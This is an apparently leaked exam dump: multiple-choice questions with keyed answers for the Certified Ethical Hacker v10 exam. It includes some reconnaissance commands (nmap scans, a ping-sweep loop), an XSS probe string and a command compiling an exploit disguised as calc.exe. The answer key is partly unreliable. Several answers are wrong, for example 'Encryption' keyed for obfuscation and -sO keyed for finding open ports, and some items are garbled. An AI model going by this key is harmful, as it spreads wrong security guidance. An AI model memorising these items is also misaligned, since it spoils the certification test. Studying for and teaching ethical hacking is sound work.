

# EC-Council

## Exam Questions 312-50v10

Certified Ethical Hacker v10



#### NEW QUESTION 1

- (Exam Topic 1)

You are a security officer of a company. You had an alert from IDS that indicates that one PC on your Intranet is connected to a blacklisted IP address (C2 Server) on the Internet. The IP address was blacklisted just before the alert. You are starting an investigation to roughly analyze the severity of the situation. Which of the following is appropriate to analyze?

- A. Event logs on the PC
- B. Internet Firewall/Proxy log
- C. IDS log
- D. Event logs on domain controller

**Answer: B**

#### NEW QUESTION 2

- (Exam Topic 1)

Which of the following cryptography attack is an understatement for the extraction of cryptographic secrets (the password to an encrypted file) from a person by a coercion or torture?

- A. Chosen-Cipher text Attack
- B. Ciphertext-only Attack
- C. Timing Attack
- D. Rubber Hose Attack

**Answer: D**

#### NEW QUESTION 3

- (Exam Topic 1)

Code injection is a form of attack in which a malicious user:

- A. Inserts text into a data field that gets interpreted as code
- B. Gets the server to execute arbitrary code using a buffer overflow
- C. Inserts additional code into the JavaScript running in the browser
- D. Gains access to the codebase on the server and inserts new code

**Answer: A**

#### NEW QUESTION 4

- (Exam Topic 1)

Which of the following scanning method splits the TCP header into several packets and makes it difficult for packet filters to detect the purpose of the packet?

- A. ICMP Echo scanning
- B. SYN/FIN scanning using IP fragments
- C. ACK flag probe scanning
- D. IPID scanning

**Answer: B**

#### NEW QUESTION 5

- (Exam Topic 1)

DHCP snooping is a great solution to prevent rogue DHCP servers on your network. Which security feature on switches leverages the DHCP snooping database to help prevent man-in-the-middle attacks?

- A. Port security
- B. A Layer 2 Attack Prevention Protocol (LAPP)
- C. Dynamic ARP inspection (DAI)
- D. Spanning tree

**Answer: C**

#### NEW QUESTION 6

- (Exam Topic 1)

You are looking for SQL injection vulnerability by sending a special character to web applications. Which of the following is the most useful for quick validation?

- A. Double quotation
- B. Backslash
- C. Semicolon
- D. Single quotation

**Answer: D**

#### NEW QUESTION 7

- (Exam Topic 1)

The collection of potentially actionable, overt, and publicly available information is known as

- A. Open-source intelligence

- B. Human intelligence
- C. Social intelligence
- D. Real intelligence

**Answer:** A

#### NEW QUESTION 8

- (Exam Topic 1)

Which of the following Secure Hashing Algorithm (SHA) produces a 160-bit digest from a message with a maximum length of (264-1) bits and resembles the MD5 algorithm?

- A. SHA-2
- B. SHA-3
- C. SHA-1
- D. SHA-0

**Answer:** C

#### NEW QUESTION 9

- (Exam Topic 1)

The security administrator of ABC needs to permit Internet traffic in the host 10.0.0.2 and UDP traffic in the host 10.0.0.3. He also needs to permit all FTP traffic to the rest of the network and deny all other traffic. After he applied his ACL configuration in the router, nobody can access to the ftp, and the permitted hosts cannot access the Internet. According to the next configuration, what is happening in the network?

```
access-list 102 deny tcp any any
access-list 104 permit udp host 10.0.0.3 any
access-list 110 permit tcp host 10.0.0.2 eq www any
access-list 108 permit tcp any eq ftp any
```

- A. The ACL 104 needs to be first because is UDP
- B. The ACL 110 needs to be changed to port 80
- C. The ACL for FTP must be before the ACL 110
- D. The first ACL is denying all TCP traffic and the other ACLs are being ignored by the router

**Answer:** D

#### NEW QUESTION 10

- (Exam Topic 1)

What is the main security service a cryptographic hash provides?

- A. Integrity and ease of computation
- B. Message authentication and collision resistance
- C. Integrity and collision resistance
- D. Integrity and computational in-feasibility

**Answer:** D

#### NEW QUESTION 10

- (Exam Topic 1)

An unauthorized individual enters a building following an employee through the employee entrance after the lunch rush. What type of breach has the individual just performed?

- A. Reverse Social Engineering
- B. Tailgating
- C. Piggybacking
- D. Announced

**Answer:** B

#### NEW QUESTION 11

- (Exam Topic 1)

Which protocol is used for setting up secure channels between two devices, typically in VPNs?

- A. PPP
- B. IPSEC
- C. PEM
- D. SET

**Answer:** B

#### NEW QUESTION 15

- (Exam Topic 1)

Which of the following provides a security professional with most information about the system's security posture?

- A. Wardriving, warchalking, social engineering

- B. Social engineering, company site browsing, tailgating
- C. Phishing, spamming, sending trojans
- D. Port scanning, banner grabbing, service identification

**Answer: D**

**NEW QUESTION 17**

- (Exam Topic 1)

Which of the following program infects the system boot sector and the executable files at the same time?

- A. Stealth virus
- B. Polymorphic virus
- C. Macro virus
- D. Multipartite Virus

**Answer: D**

**NEW QUESTION 21**

- (Exam Topic 1)

What is the minimum number of network connections in a multi homed firewall?

- A. 3
- B. 5
- C. 4
- D. 2

**Answer: A**

**NEW QUESTION 23**

- (Exam Topic 1)

Which of the following is the best countermeasure to encrypting ransomwares?

- A. Use multiple antivirus softwares
- B. Keep some generation of off-line backup
- C. Analyze the ransomware to get decryption key of encrypted data
- D. Pay a ransom

**Answer: B**

**NEW QUESTION 28**

- (Exam Topic 1)

Sam is working as a pen-tester in an organization in Houston. He performs penetration testing on IDS in order to find the different ways an attacker uses to evade the IDS. Sam sends a large amount of packets to the target IDS that generates alerts, which enable Sam to hide the real traffic. What type of method is Sam using to evade IDS?

- A. Denial-of-Service
- B. False Positive Generation
- C. Insertion Attack
- D. Obfuscating

**Answer: B**

**NEW QUESTION 31**

- (Exam Topic 1)

Nedved is an IT Security Manager of a bank in his country. One day, he found out that there is a security breach to his company's email server based on analysis of a suspicious connection from the email server to an unknown IP Address.

What is the first thing that Nedved needs to do before contacting the incident response team?

- A. Leave it as it is and contact the incident response team right away
- B. Block the connection to the suspicious IP Address from the firewall
- C. Disconnect the email server from the network
- D. Migrate the connection to the backup email server

**Answer: C**

**NEW QUESTION 36**

- (Exam Topic 1)

What type of analysis is performed when an attacker has partial knowledge of inner-workings of the application?

- A. Black-box
- B. Announced
- C. White-box
- D. Grey-box

**Answer: D**

#### NEW QUESTION 40

- (Exam Topic 1)

Trinity needs to scan all hosts on a /16 network for TCP port 445 only. What is the fastest way she can accomplish this with Nmap? Stealth is not a concern.

- A. nmap -sn -sF 10.1.0.0/16 445
- B. nmap -p 445 -n -T4 --open 10.1.0.0/16
- C. nmap -s 445 -sU -T5 10.1.0.0/16
- D. nmap -p 445 --max -Pn 10.1.0.0/16

**Answer: B**

#### NEW QUESTION 45

- (Exam Topic 1)

A hacker is an intelligent individual with excellent computer skills and the ability to explore a computer's software and hardware without the owner's permission. Their intention can either be to simply gain knowledge or to illegally make changes. Which of the following class of hacker refers to an individual who works both offensively and defensively at various times?

- A. Suicide Hacker
- B. Black Hat
- C. White Hat
- D. Gray Hat

**Answer: D**

#### NEW QUESTION 50

- (Exam Topic 1)

Identify the web application attack where the attackers exploit vulnerabilities in dynamically generated web pages to inject client-side script into web pages viewed by other users.

- A. SQL injection attack
- B. Cross-Site Scripting (XSS)
- C. LDAP Injection attack
- D. Cross-Site Request Forgery (CSRF)

**Answer: B**

#### NEW QUESTION 54

- (Exam Topic 1)

What is the purpose of a demilitarized zone on a network?

- A. To scan all traffic coming through the DMZ to the internal network
- B. To only provide direct access to the nodes within the DMZ and protect the network behind it
- C. To provide a place to put the honeypot
- D. To contain the network devices you wish to protect

**Answer: B**

#### NEW QUESTION 56

- (Exam Topic 1)

Bob, your senior colleague, has sent you a mail regarding a deal with one of the clients. You are requested to accept the offer and you oblige. After 2 days, Bob denies that he had ever sent a mail. What do you want to "know" to prove yourself that it was Bob who had send a mail?

- A. Authentication
- B. Confidentiality
- C. Integrity
- D. Non-Repudiation

**Answer: D**

#### NEW QUESTION 59

- (Exam Topic 1)

How is the public key distributed in an orderly, controlled fashion so that the users can be sure of the sender's identity?

- A. Hash value
- B. Private key
- C. Digital signature
- D. Digital certificate

**Answer: D**

#### NEW QUESTION 63

- (Exam Topic 1)

Why containers are less secure than virtual machines?

- A. Host OS on containers has a larger surface attack.
- B. Containers may full fill disk space of the host.
- C. A compromise container may cause a CPU starvation of the host.

D. Containers are attached to the same virtual network.

Answer: A

#### NEW QUESTION 64

- (Exam Topic 1)

What is one of the advantages of using both symmetric and asymmetric cryptography in SSL/TLS?

- A. Symmetric algorithms such as AES provide a failsafe when asymmetric methods fail.
- B. Asymmetric cryptography is computationally expensive in comparison.
- C. However, it is well-suited to securely negotiate keys for use with symmetric cryptography.
- D. Symmetric encryption allows the server to securely transmit the session keys out-of-band.
- E. Supporting both types of algorithms allows less-powerful devices such as mobile phones to use symmetric encryption instead.

Answer: D

#### NEW QUESTION 65

- (Exam Topic 1)

Why should the security analyst disable/remove unnecessary ISAPI filters?

- A. To defend against social engineering attacks
- B. To defend against webserver attacks
- C. To defend against jailbreaking
- D. To defend against wireless attacks

Answer: B

#### NEW QUESTION 69

- (Exam Topic 1)

You need to deploy a new web-based software package for your organization. The package requires three separate servers and needs to be available on the Internet. What is the recommended architecture in terms of server placement?

- A. All three servers need to be placed internally
- B. A web server facing the Internet, an application server on the internal network, a database server on the internal network
- C. A web server and the database server facing the Internet, an application server on the internal network
- D. All three servers need to face the Internet so that they can communicate between themselves

Answer: B

#### NEW QUESTION 74

- (Exam Topic 1)

In which of the following password protection techniques, random strings of characters are added to the password before calculating their hashes?

- A. Keyed Hashing
- B. Key Stretching
- C. Salting
- D. Double Hashing

Answer: C

#### NEW QUESTION 78

- (Exam Topic 1)

```
ping -* 6 192.168.0.101
```

output

Pinging 192.168.0.101 with 32 bytes of data:

```
Reply from 192.168.0.101: bytes=32 time<1ms TTL=128
```

Ping statistics for 192.168.0.101:

Packets: Sent=6, Received=6, Lost=0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum=0ms, Maximum=0ms, Average=0ms

What does the option \* indicate?

- A. s
- B. t

- C. n
- D. a

**Answer: C**

**NEW QUESTION 83**

- (Exam Topic 1)

A company's policy requires employees to perform file transfers using protocols which encrypt traffic. You suspect some employees are still performing file transfers using unencrypted protocols because the employees do not like changes. You have positioned a network sniffer to capture traffic from the laptops used by employees in the data ingest department. Using Wire shark to examine the captured traffic, which command can be used as a display filter to find unencrypted file transfers?

- A. tcp.port != 21
- B. tcp.port = 23
- C. tcp.port ==21
- D. tcp.port ==21 || tcp.port ==22

**Answer: D**

**NEW QUESTION 88**

- (Exam Topic 1)

When conducting a penetration test, it is crucial to use all means to get all available information about the target network. One of the ways to do that is by sniffing the network. Which of the following cannot be performed by the passive network sniffing?

- A. Identifying operating systems, services, protocols and devices
- B. Modifying and replaying captured network traffic
- C. Collecting unencrypted information about usernames and passwords
- D. Capturing a network traffic for further analysis

**Answer: B**

**NEW QUESTION 91**

- (Exam Topic 1)

Cross-site request forgery involves:

- A. A request sent by a malicious user from a browser to a server
- B. Modification of a request by a proxy between client and server
- C. A browser making a request to a server without the user's knowledge
- D. A server making a request to another server without the user's knowledge

**Answer: C**

**NEW QUESTION 92**

- (Exam Topic 1)

Analyst is investigating proxy logs and found out that one of the internal user visited website storing suspicious Java scripts. After opening one of them, he noticed that it is very hard to understand the code and that all codes differ from the typical Java script. What is the name of this technique to hide the code and extend analysis time?

- A. Encryption
- B. Code encoding
- C. Obfuscation
- D. Steganography

**Answer: A**

**NEW QUESTION 97**

- (Exam Topic 1)

During the process of encryption and decryption, what keys are shared? During the process of encryption and decryption, what keys are shared?

- A. Private keys
- B. User passwords
- C. Public keys
- D. Public and private keys

**Answer: C**

**NEW QUESTION 99**

- (Exam Topic 1)

Which of the following Bluetooth hacking techniques does an attacker use to send messages to users without the recipient's consent, similar to email spamming?

- A. Bluesmacking
- B. Bluesniffing
- C. Bluesnarfing
- D. Bluejacking

**Answer: D**

**NEW QUESTION 100**

- (Exam Topic 1)

You are a Penetration Tester and are assigned to scan a server. You need to use a scanning technique wherein the TCP Header is split into many packets so that it becomes difficult to detect what the packets are meant for.

Which of the below scanning technique will you use?

- A. ACK flag scanning
- B. TCP Scanning
- C. IP Fragment Scanning
- D. Inverse TCP flag scanning

**Answer: C**

**NEW QUESTION 105**

- (Exam Topic 1)

In Wireshark, the packet bytes panes show the data of the current packet in which format?

- A. Decimal
- B. ASCII only
- C. Binary
- D. Hexadecimal

**Answer: D**

**NEW QUESTION 109**

- (Exam Topic 2)

The use of technologies like IPSec can help guarantee the following: authenticity, integrity, confidentiality and

- A. non-repudiation.
- B. operability.
- C. security.
- D. usability.

**Answer: A**

**NEW QUESTION 111**

- (Exam Topic 2)

Which of the following tools will scan a network to perform vulnerability checks and compliance auditing?

- A. NMAP
- B. Metasploit
- C. Nessus
- D. BeEF

**Answer: C**

**NEW QUESTION 114**

- (Exam Topic 2)

From the two screenshots below, which of the following is occurring?

**First one:**

```
1 [10.0.0.253]# nmap -sP 10.0.0.0/24
3 Starting Nmap
5 Host 10.0.0.1 appears to be up.
6 MAC Address: 00:09:5B:29:FD:96 (Netgear)
7 Host 10.0.0.2 appears to be up.
8 MAC Address: 00:0F:B5:96:38:5D (Netgear)
9 Host 10.0.0.4 appears to be up.
10 Host 10.0.0.5 appears to be up.
11 MAC Address: 00:14:2A:B1:1E:2E (Elitegroup Computer System Co.)
12 Nmap finished: 256 IP addresses (4 hosts up) scanned in 5.399
seconds
```

**Second one:**

```
1 [10.0.0.252]# nmap -sO 10.0.0.2
3 Starting Nmap 4.01 at 2006-07-14 12:56 BST
4 Interesting protocols on 10.0.0.2:
5 (The 251 protocols scanned but not shown below are
6 in state: closed)
7 PROTOCOL STATE SERVICE
8 1 open icmp
9 2 open|filtered igmp
10 6 open tcp
11 17 open udp
12 255 open|filtered unknown
14 Nmap finished: 1 IP address (1 host up) scanned in
15 1.259 seconds
1 [10.0.0.253]# nmap -sP
1 [10.0.0.253]# nmap -sP
```

- A. 10.0.0.253 is performing an IP scan against 10.0.0.0/24, 10.0.0.252 is performing a port scan against 10.0.0.2.
- B. 10.0.0.253 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against 10.0.0.2.
- C. 10.0.0.2 is performing an IP scan against 10.0.0.0/24, 10.0.0.252 is performing a port scan against 10.0.0.2.
- D. 10.0.0.252 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against 10.0.0.2.

**Answer: A**

**NEW QUESTION 115**

- (Exam Topic 2)

An attacker has been successfully modifying the purchase price of items purchased on the company's web site. The security administrators verify the web server and Oracle database have not been compromised directly. They have also verified the Intrusion Detection System (IDS) logs and found no attacks that could have caused this. What is the mostly likely way the attacker has been able to modify the purchase price?

- A. By using SQL injection
- B. By changing hidden form values
- C. By using cross site scripting
- D. By utilizing a buffer overflow attack

**Answer: B**

**NEW QUESTION 118**

- (Exam Topic 2)

An organization hires a tester to do a wireless penetration test. Previous reports indicate that the last test did not contain management or control packets in the submitted traces. Which of the following is the most likely reason for lack of management or control packets?

- A. The wireless card was not turned on.
- B. The wrong network card drivers were in use by Wireshark.
- C. On Linux and Mac OS X, only 802.11 headers are received in promiscuous mode.
- D. Certain operating systems and adapters do not collect the management or control packets.

**Answer: D**

**NEW QUESTION 121**

- (Exam Topic 2)

Which of the following examples best represents a logical or technical control?

- A. Security tokens
- B. Heating and air conditioning
- C. Smoke and fire alarms
- D. Corporate security policy

Answer: A

**NEW QUESTION 124**

- (Exam Topic 2)

Which property ensures that a hash function will not produce the same hashed value for two different messages?

- A. Collision resistance
- B. Bit length
- C. Key strength
- D. Entropy

Answer: A

**NEW QUESTION 125**

- (Exam Topic 2)

A penetration tester is conducting a port scan on a specific host. The tester found several ports opened that were confusing in concluding the Operating System (OS) version installed. Considering the NMAP result below, which of the following is likely to be installed on the target machine by the OS?

Starting NMAP 5.21 at 2011-03-15 11:06

NMAP scan report for 172.16.40.65

Host is up (1.00s latency).

Not shown: 993 closed ports

PORT	STATE	SERVICE
21/tcp	open	ftp
23/tcp	open	telnet
80/tcp	open	http
139/tcp	open	netbios-ssn
515/tcp	open	
631/tcp	open	ipp
9100/tcp	open	

MAC Address: 00:00:48:0D:EE:89

- A. The host is likely a Windows machine.
- B. The host is likely a Linux machine.
- C. The host is likely a router.
- D. The host is likely a printer.

Answer: D

**NEW QUESTION 128**

- (Exam Topic 2)

When utilizing technical assessment methods to assess the security posture of a network, which of the following techniques would be most effective in determining whether end-user security training would be beneficial?

- A. Vulnerability scanning
- B. Social engineering
- C. Application security testing
- D. Network sniffing

Answer: B

**NEW QUESTION 129**

- (Exam Topic 2)

A pentester gains access to a Windows application server and needs to determine the settings of the built-in Windows firewall. Which command would be used?

- A. Netsh firewall show config
- B. WMIC firewall show config
- C. Net firewall show config
- D. Ipconfig firewall show config

Answer: A

**NEW QUESTION 133**

- (Exam Topic 2)

What is a successful method for protecting a router from potential smurf attacks?

- A. Placing the router in broadcast mode
- B. Enabling port forwarding on the router
- C. Installing the router outside of the network's firewall
- D. Disabling the router from accepting broadcast ping messages

Answer: D

**NEW QUESTION 136**

- (Exam Topic 2)

Which type of scan is used on the eye to measure the layer of blood vessels?

- A. Facial recognition scan
- B. Retinal scan
- C. Iris scan
- D. Signature kinetics scan

Answer: B

**NEW QUESTION 137**

- (Exam Topic 2)

A developer for a company is tasked with creating a program that will allow customers to update their billing and shipping information. The billing address field used is limited to 50 characters. What pseudo code would the developer use to avoid a buffer overflow attack on the billing address field?

- A. if (billingAddress = 50) {update field} else exit
- B. if (billingAddress != 50) {update field} else exit
- C. if (billingAddress >= 50) {update field} else exit
- D. if (billingAddress <= 50) {update field} else exit

Answer: D

**NEW QUESTION 139**

- (Exam Topic 2)

Low humidity in a data center can cause which of the following problems?

- A. Heat
- B. Corrosion
- C. Static electricity
- D. Airborne contamination

Answer: C

**NEW QUESTION 144**

- (Exam Topic 2)

A security engineer has been asked to deploy a secure remote access solution that will allow employees to connect to the company's internal network. Which of the following can be implemented to minimize the opportunity for the man-in-the-middle attack to occur?

- A. SSL
- B. Mutual authentication
- C. IPSec
- D. Static IP addresses

Answer: C

**NEW QUESTION 149**

- (Exam Topic 2)

At a Windows Server command prompt, which command could be used to list the running services?

- A. Sc query type= running
- B. Sc query \\servername
- C. Sc query
- D. Sc config

Answer: C

**NEW QUESTION 151**

- (Exam Topic 2)

What is the main disadvantage of the scripting languages as opposed to compiled programming languages?

- A. Scripting languages are hard to learn.
- B. Scripting languages are not object-oriented.
- C. Scripting languages cannot be used to create graphical user interfaces.
- D. Scripting languages are slower because they require an interpreter to run the code.

Answer: D

**NEW QUESTION 153**

- (Exam Topic 2)

The following is part of a log file taken from the machine on the network with the IP address of 192.168.1.106:

```
Time:Mar 13 17:30:15 Port:20 Source:192.168.1.103
Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:17 Port:21 Source:192.168.1.103
Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:19 Port:22 Source:192.168.1.103
Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:21 Port:23 Source:192.168.1.103
Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:22 Port:25 Source:192.168.1.103
Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:23 Port:80 Source:192.168.1.103
Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:30 Port:443 Source:192.168.1.103
Destination:192.168.1.106 Protocol:TCP
```

What type of activity has been logged?

- A. Port scan targeting 192.168.1.103
- B. Teardrop attack targeting 192.168.1.106
- C. Denial of service attack targeting 192.168.1.103
- D. Port scan targeting 192.168.1.106

**Answer: D**

#### NEW QUESTION 154

- (Exam Topic 2)

A botnet can be managed through which of the following?

- A. IRC
- B. E-Mail
- C. LinkedIn and Facebook
- D. A vulnerable FTP server

**Answer: A**

#### NEW QUESTION 158

- (Exam Topic 2)

Which results will be returned with the following Google search query? site:target.com -site:Marketing.target.com accounting

- A. Results matching all words in the query
- B. Results matching "accounting" in domain target.com but not on the site Marketing.target.com
- C. Results from matches on the site marketing.target.com that are in the domain target.com but do not include the word accounting
- D. Results for matches on target.com and Marketing.target.com that include the word "accounting"

**Answer: B**

#### NEW QUESTION 161

- (Exam Topic 2)

Which type of intrusion detection system can monitor and alert on attacks, but cannot stop them?

- A. Detective
- B. Passive
- C. Intuitive
- D. Reactive

**Answer: B**

#### NEW QUESTION 165

- (Exam Topic 2)

Which set of access control solutions implements two-factor authentication?

- A. USB token and PIN
- B. Fingerprint scanner and retina scanner
- C. Password and PIN
- D. Account and password

**Answer: A**

#### NEW QUESTION 168

- (Exam Topic 2)

A consultant is hired to do physical penetration testing at a large financial company. In the first day of his assessment, the consultant goes to the company's building dressed like an electrician and waits in the lobby for an employee to pass through the main access gate, then the consultant follows the employee behind to get into the restricted area. Which type of attack did the consultant perform?

- A. Man trap
- B. Tailgating
- C. Shoulder surfing
- D. Social engineering

**Answer: B**

#### **NEW QUESTION 173**

- (Exam Topic 2)

When an alert rule is matched in a network-based IDS like snort, the IDS does which of the following?

- A. Drops the packet and moves on to the next one
- B. Continues to evaluate the packet until all rules are checked
- C. Stops checking rules, sends an alert, and lets the packet continue
- D. Blocks the connection with the source IP address in the packet

**Answer: B**

#### **NEW QUESTION 174**

- (Exam Topic 2)

How can telnet be used to fingerprint a web server?

- A. telnet webserverAddress 80HEAD / HTTP/1.0
- B. telnet webserverAddress 80PUT / HTTP/1.0
- C. telnet webserverAddress 80HEAD / HTTP/2.0
- D. telnet webserverAddress 80PUT / HTTP/2.0

**Answer: A**

#### **NEW QUESTION 175**

- (Exam Topic 2)

Which of the following is used to indicate a single-line comment in structured query language (SQL)?

- A. --
- B. ||
- C. %%
- D. "

**Answer: A**

#### **NEW QUESTION 180**

- (Exam Topic 2)

What technique is used to perform a Connection Stream Parameter Pollution (CSPP) attack?

- A. Injecting parameters into a connection string using semicolons as a separator
- B. Inserting malicious Javascript code into input parameters
- C. Setting a user's session identifier (SID) to an explicit known value
- D. Adding multiple parameters with the same name in HTTP requests

**Answer: A**

#### **NEW QUESTION 181**

- (Exam Topic 2)

A company has publicly hosted web applications and an internal Intranet protected by a firewall. Which technique will help protect against enumeration?

- A. Reject all invalid email received via SMTP.
- B. Allow full DNS zone transfers.
- C. Remove A records for internal hosts.
- D. Enable null session pipes.

**Answer: C**

#### **NEW QUESTION 182**

- (Exam Topic 2)

A hacker is attempting to see which ports have been left open on a network. Which NMAP switch would the hacker use?

- A. -sO
- B. -sP
- C. -sS
- D. -sU

**Answer: A**

**NEW QUESTION 184**

- (Exam Topic 2)

Diffie-Hellman (DH) groups determine the strength of the key used in the key exchange process. Which of the following is the correct bit size of the Diffie-Hellman (DH) group 5?

- A. 768 bit key
- B. 1025 bit key
- C. 1536 bit key
- D. 2048 bit key

**Answer: C**

**NEW QUESTION 189**

- (Exam Topic 2)

A newly discovered flaw in a software application would be considered which kind of security vulnerability?

- A. Input validation flaw
- B. HTTP header injection vulnerability
- C. 0-day vulnerability
- D. Time-to-check to time-to-use flaw

**Answer: C**

**NEW QUESTION 192**

- (Exam Topic 2)

Which of the following is a strong post designed to stop a car?

- A. Gate
- B. Fence
- C. Bollard
- D. Reinforced rebar

**Answer: C**

**NEW QUESTION 196**

- (Exam Topic 2)

Which of the following does proper basic configuration of snort as a network intrusion detection system require?

- A. Limit the packets captured to the snort configuration file.
- B. Capture every packet on the network segment.
- C. Limit the packets captured to a single segment.
- D. Limit the packets captured to the /var/log/snort directory.

**Answer: A**

**NEW QUESTION 199**

- (Exam Topic 2)

John the Ripper is a technical assessment tool used to test the weakness of which of the following?

- A. Usernames
- B. File permissions
- C. Firewall rulesets
- D. Passwords

**Answer: D**

**NEW QUESTION 203**

- (Exam Topic 2)

Which command lets a tester enumerate alive systems in a class C network via ICMP using native Windows tools?

- A. ping 192.168.2.
- B. ping 192.168.2.255
- C. for %V in (1 1 255) do PING 192.168.2.%V
- D. for /L %V in (1 1 254) do PING -n 1 192.168.2.%V | FIND /I "Reply"

**Answer: D**

**NEW QUESTION 204**

- (Exam Topic 2)

An NMAP scan of a server shows port 69 is open. What risk could this pose?

- A. Unauthenticated access
- B. Weak SSL version
- C. Cleartext login
- D. Web portal data leak

Answer: A

**NEW QUESTION 206**

- (Exam Topic 2)

Which of the following business challenges could be solved by using a vulnerability scanner?

- A. Auditors want to discover if all systems are following a standard naming convention.
- B. A web server was compromised and management needs to know if any further systems were compromised.
- C. There is an emergency need to remove administrator access from multiple machines for an employee that quit.
- D. There is a monthly requirement to test corporate compliance with host application usage and security policies.

Answer: D

**NEW QUESTION 209**

- (Exam Topic 2)

Passive reconnaissance involves collecting information through which of the following?

- A. Social engineering
- B. Network traffic sniffing
- C. Man in the middle attacks
- D. Publicly accessible sources

Answer: D

**NEW QUESTION 211**

- (Exam Topic 2)

A hacker searches in Google for filetype:pcf to find Cisco VPN config files. Those files may contain connectivity passwords that can be decoded with which of the following?

- A. Cupp
- B. Nessus
- C. Cain and Abel
- D. John The Ripper Pro

Answer: C

**NEW QUESTION 212**

- (Exam Topic 2)

An engineer is learning to write exploits in C++ and is using the exploit tool Backtrack. The engineer wants to compile the newest C++ exploit and name it calc.exe. Which command would the engineer use to accomplish this?

- A. g++ hackersExploit.cpp -o calc.exe
- B. g++ hackersExploit.py -o calc.exe
- C. g++ -i hackersExploit.pl -o calc.exe
- D. g++ --compile -i hackersExploit.cpp -o calc.exe

Answer: A

**NEW QUESTION 215**

- (Exam Topic 2)

Which of the following is considered an acceptable option when managing a risk?

- A. Reject the risk.
- B. Deny the risk.
- C. Mitigate the risk.
- D. Initiate the risk.

Answer: C

**NEW QUESTION 217**

- (Exam Topic 2)

During a penetration test, a tester finds that the web application being analyzed is vulnerable to Cross Site Scripting (XSS). Which of the following conditions must be met to exploit this vulnerability?

- A. The web application does not have the secure flag set.
- B. The session cookies do not have the HttpOnly flag set.
- C. The victim user should not have an endpoint security solution.
- D. The victim's browser must have ActiveX technology enabled.

Answer: B

**NEW QUESTION 219**

- (Exam Topic 2)

What is the correct PCAP filter to capture all TCP traffic going to or from host 192.168.0.125 on port 25?

- A. tcp.src == 25 and ip.host == 192.168.0.125
- B. host 192.168.0.125:25
- C. port 25 and host 192.168.0.125
- D. tcp.port == 25 and ip.host == 192.168.0.125

**Answer:** D

#### **NEW QUESTION 223**

- (Exam Topic 2)

Which of the following items of a computer system will an anti-virus program scan for viruses?

- A. Boot Sector
- B. Deleted Files
- C. Windows Process List
- D. Password Protected Files

**Answer:** A

#### **NEW QUESTION 225**

- (Exam Topic 2)

A bank stores and processes sensitive privacy information related to home loans. However, auditing has never been enabled on the system. What is the first step that the bank should take before enabling the audit feature?

- A. Perform a vulnerability scan of the system.
- B. Determine the impact of enabling the audit feature.
- C. Perform a cost/benefit analysis of the audit feature.
- D. Allocate funds for staffing of audit log review.

**Answer:** B

#### **NEW QUESTION 228**

- (Exam Topic 2)

Which of the following programs is usually targeted at Microsoft Office products?

- A. Polymorphic virus
- B. Multipart virus
- C. Macro virus
- D. Stealth virus

**Answer:** C

#### **Explanation:**

A macro virus is a virus that is written in a macro language: a programming language which is embedded inside a software application (e.g., word processors and spreadsheet applications). Some applications, such as Microsoft Office, allow macro programs to be embedded in documents such that the macros are run automatically when the document is opened, and this provides a distinct mechanism by which malicious computer instructions can spread.

References: [https://en.wikipedia.org/wiki/Macro\\_virus](https://en.wikipedia.org/wiki/Macro_virus)

#### **NEW QUESTION 231**

- (Exam Topic 2)

Which of the following is a client-server tool utilized to evade firewall inspection?

- A. tcp-over-dns
- B. kismet
- C. nikto
- D. hping

**Answer:** A

#### **NEW QUESTION 234**

- (Exam Topic 2)

A large company intends to use Blackberry for corporate mobile phones and a security analyst is assigned to evaluate the possible threats. The analyst will use the Blackjacking attack method to demonstrate how an attacker could circumvent perimeter defenses and gain access to the corporate network. What tool should the analyst use to perform a Blackjacking attack?

- A. Paros Proxy
- B. BBProxy
- C. BBCrack
- D. Blooover

**Answer:** B

#### **Explanation:**

Blackberry users warned of hacking tool threat.

Users have been warned that the security of Blackberry wireless e-mail devices is at risk due to the availability this week of a new hacking tool. Secure Computing Corporation said businesses that have installed Blackberry servers behind their gateway security devices could be vulnerable to a hacking attack from a tool call BBProxy.

References:

<http://www.computerweekly.com/news/2240062112/Technology-news-in-brief>

#### NEW QUESTION 237

- (Exam Topic 2)

A security analyst in an insurance company is assigned to test a new web application that will be used by clients to help them choose and apply for an insurance plan. The analyst discovers that the application is developed in ASP scripting language and it uses MSSQL as a database backend. The analyst locates the application's search form and introduces the following code in the search input field:

```
IMG SRC=vbscript:msgbox("Vulnerable");> originalAttribute="SRC"
originalPath="vbscript:msgbox ("Vulnerable");>"
```

When the analyst submits the form, the browser returns a pop-up window that says "Vulnerable". Which web applications vulnerability did the analyst discover?

- A. Cross-site request forgery
- B. Command injection
- C. Cross-site scripting
- D. SQL injection

Answer: C

#### NEW QUESTION 242

- (Exam Topic 2)

Which system consists of a publicly available set of databases that contain domain name registration contact information?

- A. WHOIS
- B. IANA
- C. CAPTCHA
- D. IETF

Answer: A

#### NEW QUESTION 244

- (Exam Topic 2)

Firewall has just completed the second phase (the scanning phase) and a technician receives the output shown below. What conclusions can be drawn based on these scan results?

```
TCP port 21 - no response
TCP port 22 - no response
TCP port 23 - Time-to-live exceeded
```

- A. The firewall itself is blocking ports 21 through 23 and a service is listening on port 23 of the target host.
- B. The lack of response from ports 21 and 22 indicate that those services are not running on the destination server.
- C. The scan on port 23 passed through the filtering device
- D. This indicates that port 23 was not blocked at the firewall.
- E. The scan on port 23 was able to make a connection to the destination host prompting the firewall to respond with a TTL error.

Answer: C

#### NEW QUESTION 247

- (Exam Topic 2)

While performing data validation of web content, a security technician is required to restrict malicious input. Which of the following processes is an efficient way of restricting malicious input?

- A. Validate web content input for query strings.
- B. Validate web content input with scanning tools.
- C. Validate web content input for type, length, and range.
- D. Validate web content input for extraneous queries.

Answer: C

#### NEW QUESTION 251

- (Exam Topic 2)

A security policy will be more accepted by employees if it is consistent and has the support of

- A. coworkers.
- B. executive management.
- C. the security officer.
- D. a supervisor.

Answer: B

#### NEW QUESTION 253

- (Exam Topic 2)

What is the main advantage that a network-based IDS/IPS system has over a host-based solution?

- A. They do not use host system resources.
- B. They are placed at the boundary, allowing them to inspect all traffic.
- C. They are easier to install and configure.

D. They will not interfere with user interfaces.

**Answer:** A

**NEW QUESTION 254**

- (Exam Topic 2)

